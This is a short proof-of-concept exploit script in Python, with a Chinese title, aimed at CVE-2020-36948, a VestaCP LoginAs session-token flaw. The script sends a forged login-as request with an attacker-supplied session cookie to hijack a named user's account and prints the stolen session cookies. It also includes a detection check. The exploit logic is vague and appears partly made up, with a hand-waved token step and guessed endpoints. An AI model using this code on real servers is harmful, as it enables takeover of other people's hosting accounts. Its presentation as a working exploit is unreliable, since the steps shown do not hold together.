CVE-2020-36948 VestaCP LoginAs模块会话令牌验证漏洞

import requests import re # CVE-2020-36948 PoC - VestaCP LoginAs Session Token Vulnerability # Target: VestaCP <= 0.9.8-26 TARGET_URL = "http://target-vestacp-server:8083" TARGET_USER = "target_username" ATTACKER_TOKEN = "malicious_session_token" def exploit_loginas_vulnerability(): """ Exploit LoginAs module insufficient session token validation Steps: 1. Obtain valid session token (through various methods) 2. Manipulate token to impersonate target user 3. Bypass authentication via LoginAs module """ # Step 1: Initial request to obtain session session = requests.Session() login_url = f"{TARGET_URL}/login/" # Step 2: Craft malicious LoginAs request loginas_url = f"{TARGET_URL}/ajax/login-as-user/" headers = { "X-Requested-With": "XMLHttpRequest", "Cookie": f"PHPSESSID={ATTACKER_TOKEN}" } # Step 3: Exploit insufficient token validation payload = { "user": TARGET_USER, "token": ATTACKER_TOKEN, "action": "loginas" } response = session.post(loginas_url, data=payload, headers=headers) # Step 4: Extract authenticated session if response.status_code == 200 and "success" in response.text: print(f"[!] Successfully hijacked user: {TARGET_USER}") print(f"[*] Session cookie: {response.cookies.get_dict()}") return True return False def check_vulnerability(): """Check if target is vulnerable""" check_url = f"{TARGET_URL}/api/v1/check" try: response = requests.get(check_url, timeout=10) if "vestacp" in response.text.lower(): print("[*] VestaCP detected - may be vulnerable") return True except: pass return False if __name__ == "__main__": print("CVE-2020-36948 - VestaCP LoginAs Session Token Bypass") print("=" * 60) check_vulnerability()